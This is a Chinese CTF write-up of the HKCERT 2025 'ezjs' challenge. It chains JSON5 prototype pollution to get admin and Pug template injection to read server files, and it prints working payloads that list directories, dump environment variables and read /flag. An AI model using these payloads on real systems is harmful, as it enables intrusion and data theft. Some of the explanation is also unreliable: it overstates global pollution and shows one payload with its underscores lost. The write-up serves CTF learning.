【CTF-WEB】原型链污染及Pug模板注入

【CTF-WEB】原型链污染及Pug模板注入

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組
题目名称:ezjs
靶场网址:http://web-a30a7b2fcf.challenge.xctf.org.cn:80/

在这里插入图片描述


附件文件:app.js

const expres=require('express')constJSON5=require('json5');const bodyParser =require('body-parser')const pugjs=require('pug')const session =require('express-session')const rand =require('string-random')var cookieParser =require('cookie-parser');constSECRET=rand(32,'0123456789abcdef')const port=80const app=expres() app.use(bodyParser.urlencoded({extended:false})) app.use(bodyParser.json()) app.use(session({secret:SECRET,resave:false,saveUninitialized:true,cookie:{maxAge:3600*1000}})); app.use(cookieParser());functionwaf(obj, arr){let verify =true; Object.keys(obj).forEach((key)=>{if(arr.indexOf(key)>-1){ verify =false;}});return verify;} app.get('/',(req,res)=>{ res.send('hey bro!')}) app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}}) app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}}) app.listen(port,()=>{ console.log(`Example app listening on port ${port}`)})

package.json

{"name":"shabby_website","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"author":"Rieß","license":"ISC","dependencies":{"body-parser":"^1.20.2","cookie-parser":"^1.4.6","express":"^4.18.1","express-session":"^1.17.3","json5":"2.2.1","string-random":"^0.1.3","pug":"^3.0.2"}}

直接访问靶场

hey bro!

在这里插入图片描述


打开APIPOST访问看一下

在这里插入图片描述

观察app.js代码,发现post格式的登录请求url,访问一下

app.post('/login',(req,res)=>{......})

hello,guest

在这里插入图片描述

原型链污染

app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}})

这段代码是一个Node.js Express应用的登录接口,存在严重的安全漏洞(原型链污染)。让我详细解析:

代码功能解析

1. 路由定义

app.post('/login',(req, res)=>{...})
  • 处理POST请求到/login路径
  • 接收用户名密码等登录数据

2. 数据处理

let userinfo =JSON.stringify(req.body)const user =JSON5.parse(userinfo)
  • JSON5.parse:使用JSON5解析器(比标准JSON更宽松)
  • 关键漏洞:JSON5支持__proto__这个特殊属性名

3. WAF检查(有漏洞)

if(waf(user,['admin'])){...}
  • WAF只检查顶层键名是否包含’admin’
  • 但攻击者可以通过__proto__绕过

4. 会话处理和权限检查

req.session.user = user if(req.session.user.admin ==true){// 注意:这里有问题 req.session.user ='admin' res.send('hello,admin')}
  • 将用户数据存入session
  • 检查admin属性是否为true
  • 注意使用==而不是===(类型转换可能被利用)

关键安全漏洞

原型链污染攻击示例

攻击者可以发送这样的payload:

{"username":"attacker","__proto__":{"admin":true}}

攻击原理:

1. JavaScript 的原型链基础

JavaScript 中有一个特殊的设计:每个对象都有一个隐藏的链接,指向另一个对象。这个链接叫做 原型(prototype)

// 创建一个普通对象const person ={name:"Alice"};// person 的原型是 Object.prototype// 当我们访问 person.toString() 时:// 1. 先在 person 对象本身查找 toString 方法// 2. 没找到 → 去 person.__proto__(即 Object.prototype)中找// 3. 找到了 Object.prototype.toString 方法

可以用一个简单的图表示:

person 对象 ├─ name: "Alice" └─ __proto__: 指向 → Object.prototype ├─ toString() ├─ hasOwnProperty() └─ ... 
2. __proto__ 是什么?

__proto__ 是一个魔法属性,它允许我们直接访问和修改对象的原型链。

const obj1 ={};const obj2 ={admin:true};// 把 obj1 的原型指向 obj2 obj1.__proto__ = obj2;// 现在 obj1 虽然没有 admin 属性,但可以通过原型链访问 console.log(obj1.admin);// true!因为找到了 obj2.admin
3. 为什么 __proto__ 如此危险?
场景1:修改基础对象的原型
// 正常情况const user ={username:"guest"}; console.log(user.admin);// undefined// 攻击者污染了 Object.prototypeObject.prototype.admin =true;// 现在所有对象都有了 admin 属性! console.log(user.admin);// true! console.log({}.admin);// true! console.log([].admin);// true!
场景2:通过 JSON5 实现原型污染
// 正常 JSON.parse 不会解析 __proto__const safe =JSON.parse('{"__proto__": {"admin": true}}'); console.log(safe.__proto__);// { admin: true }(只是普通属性) console.log({}.admin);// undefined(没有被污染)// JSON5.parse 会解析 __proto__const dangerous =JSON5.parse('{"__proto__": {"admin": true}}'); console.log({}.admin);// true!所有对象都被污染了!
4. 在代码中如何工作?
// 假设攻击者发送:{"username":"attacker","__proto__":{"admin":true}}// 经过 JSON5.parse 后:const user ={username:"attacker",__proto__:{admin:true}// 注意:这里修改了原型!}// 存储到 session req.session.user = user;// 现在 req.session.user 的原型被改了// 检查 admin 属性if(req.session.user.admin ==true){// user 本身没有 admin 属性 → 去原型链上找// 原型链上有 admin: true → 条件成立!// 攻击者获得管理员权限!}
5. 更深入:原型链是如何被污染的?
// 实验:手动创建原型污染 console.log("污染前:",{}.admin);// undefined// 创建一个污染源const pollutedSource ={__proto__:{admin:true,isAdmin:function(){returntrue;}}};// 将这个对象赋值给另一个对象的原型const target ={}; target.__proto__ = pollutedSource.__proto__;// 或者使用 Object.assignconst anotherTarget ={}; Object.assign(anotherTarget.__proto__, pollutedSource.__proto__); console.log("污染后:",{}.admin);// true! console.log([].admin);// true! console.log("hello".admin);// true!连字符串都有admin属性了
6. 现实中的攻击案例
案例1:绕过权限检查
// 服务器端代码functioncheckPermission(user){if(user.role ==='admin'){// 从原型链上继承returntrue;}returnfalse;}// 攻击者发送const maliciousData ={"__proto__":{"role":"admin"}};// 所有新创建的用户都会自动变成 admin!
案例2:修改内置方法
// 攻击者污染了 toString 方法Object.prototype.toString=function(){return"HACKED!";};// 现在所有对象的 toString 都被修改了 console.log({}.toString());// "HACKED!" console.log([1,2,3].toString());// "HACKED!"// 可能导致系统崩溃或数据泄露

执行污染获取管理员权限

把{“proto”: {“admin”: true}}作为body参数对login路径进行post请求

返回得到hello,admin,表明污染成功

在这里插入图片描述


此时,我们凭借cookie可以任意访问管理员可以访问的网址

在这里插入图片描述

SSTI(服务器端模板注入)

 app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}})

Pug模板注入攻击

  • Pug模板引擎(原名为Jade)
  • 直接渲染用户输入:pugjs.render('welcome ’ + word)
  • 黑名单绕过:只过滤了require和exec
var hello='welcome '+ word res.send(pugjs.render(hello))

漏洞利用测试

将word=#{process.env}作为body参数访问reader路径,得到如下结果

<welcome>[object Object]</welcome>

这意味着SSTI(模板注入)攻击成功了

  1. SSTI确认成功
    • 你发送了:word= #{process.env}
    • 返回了:<welcome>[object Object]</welcome>
    • 这说明#{process.env}当作Pug/JavaScript代码执行了,而不是普通文本
  2. 环境变量被输出为对象
    • process.env 是一个JavaScript对象(包含所有环境变量)
    • [object Object] 是JavaScript对象转字符串的默认格式
    • 这证明你可以执行任意JavaScript代码!
在这里插入图片描述

读取当前目录下的文件

执行参数

#{global.process.mainModule.constructor._load('fs').readdirSync('.')}

返回结果:

<welcome>app.js,node_modules,package-lock.json,package.json</welcome>
在这里插入图片描述

读取环境变量详细信息

执行参数

#{JSON.stringify(process.env)}

返回结果:

{"USER":"www-data","NODE_VERSION":"18.12.1","HOSTNAME":"ce4ae7d70dd3","YARN_VERSION":"1.22.19","SHLVL":"3","HOME":"/home/www-data","OLDPWD":"/app","LOGNAME":"www-data","TERM":"xterm","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","SHELL":"/bin/ash","PWD":"/app"} 
在这里插入图片描述


在这里插入图片描述

读取根目录下的文件

执行参数

 #{global.process.mainModule.constructor._load('fs').readdirSync('/')}

返回结果:

 .dockerenv,app,bin,dev,etc,flag,home,init.sh,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var 
在这里插入图片描述

读取 /flag 文件

执行参数

#{global.process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}

返回结果:

flag{FcawKMoI06bpgM6VbffgwldC5KJcf6Em} 
在这里插入图片描述

Read more

别把 F1 开成老头乐:GitHub Copilot 深度调教与 7 个“上下文工程”秘籍

别把 F1 开成老头乐:GitHub Copilot 深度调教与 7 个“上下文工程”秘籍

别把 F1 开成老头乐:GitHub Copilot 深度调教与 7 个“上下文工程”秘籍 前言 很多开发者抱怨 Copilot 生成的代码是“垃圾”或“幻觉”。真相是:Copilot 是一辆 F1 赛车,而大多数人只把它当成了自动挡的老年代步车。 本指南将揭示 Copilot 不为人知的底层机制,教你通过“上下文工程” (Context Engineering),让 AI 写出精准、规范的生产级代码。 核心心智模型:Copilot 是怎么“思考”的? 在学习技巧前,你需要理解 Copilot 的大脑构造。它不是在瞎猜,它是在根据你喂给它的“上下文(Context)”计算概率。 Copilot 的上下文由三层组成:

什么是Agentic AI?Agentic AI 与传统 AIGC 有什么区别?

什么是Agentic AI?Agentic AI 与传统 AIGC 有什么区别?

什么是 Agentic AI?Agentic AI 与传统 AIGC 有什么区别? 1. 引言 近年来,人工智能(AI)技术飞速发展,其中以生成式 AI(AIGC,Artificial Intelligence Generated Content)和 Agentic AI(智能代理 AI)最为热门。AIGC 通过深度学习模型生成文本、图像、视频等内容,而 Agentic AI 则更进一步,能够自主感知、决策并执行任务。那么,Agentic AI 究竟是什么?它与传统的 AIGC 有何不同?在本文中,我们将深入探讨 Agentic AI 的概念、技术原理、

Qt Creator配置AI编程插件GitHub Copilot

Qt Creator配置AI编程插件GitHub Copilot

第一步:GitHub Copilot插件安装 QtCreator18.0为例,点击左侧Extensions菜单,在上方搜索栏搜索 GitHub Copilot, 然后点击右上角Active启动后重启QtCreator即可完成该工具安装. 第二步:copilot.vim 环境配置 去GitHub下载copilot.vim压缩包:copilot.vim。下载地址:https://github.com/github/copilot.vim 随后解压到自定义位置。 将其目录下.\dist\language-server.js地址填入设置的Path to language-serverjs项。 第三步:安装Node.js 去Node.js官网下载并安装node.js:node.js官网。 同样将node.exe地址链接到设置的Node.js path项。下载地址:https://nodejs.org/zh-cn 第四步:

Claude部署(copilot反向代理)

一、教育邮箱认证 1、进行教育邮箱认证可免费使用claude pro 2年,有机会的话可以进行认证,无法教育认证的话只能花钱充claude的会员了,如何进行教育认证可观看该Up的视频 超简单一次通过Github学生认证,逐步详细视频教程_哔哩哔哩_bilibili 2、教育认证通过后在GitHub个人主页下的Copilot/Features中开启Copilot Pro 二、服务器上配置Copilot反向代理 1、配置nodejs环境 在官网https://nodejs.org/en/download/package-manager,下载nodejs安装包(Linux) 下载完成后将压缩包传到服务器上进行解压,目录如下 创建软连接,使得在任意目录下都可以试用直接使用node命令和npm命令 ln -s /root/node-v24.13.1-linux-x64/bin/node /usr/local/bin/node ln -s /root/node-v24.13.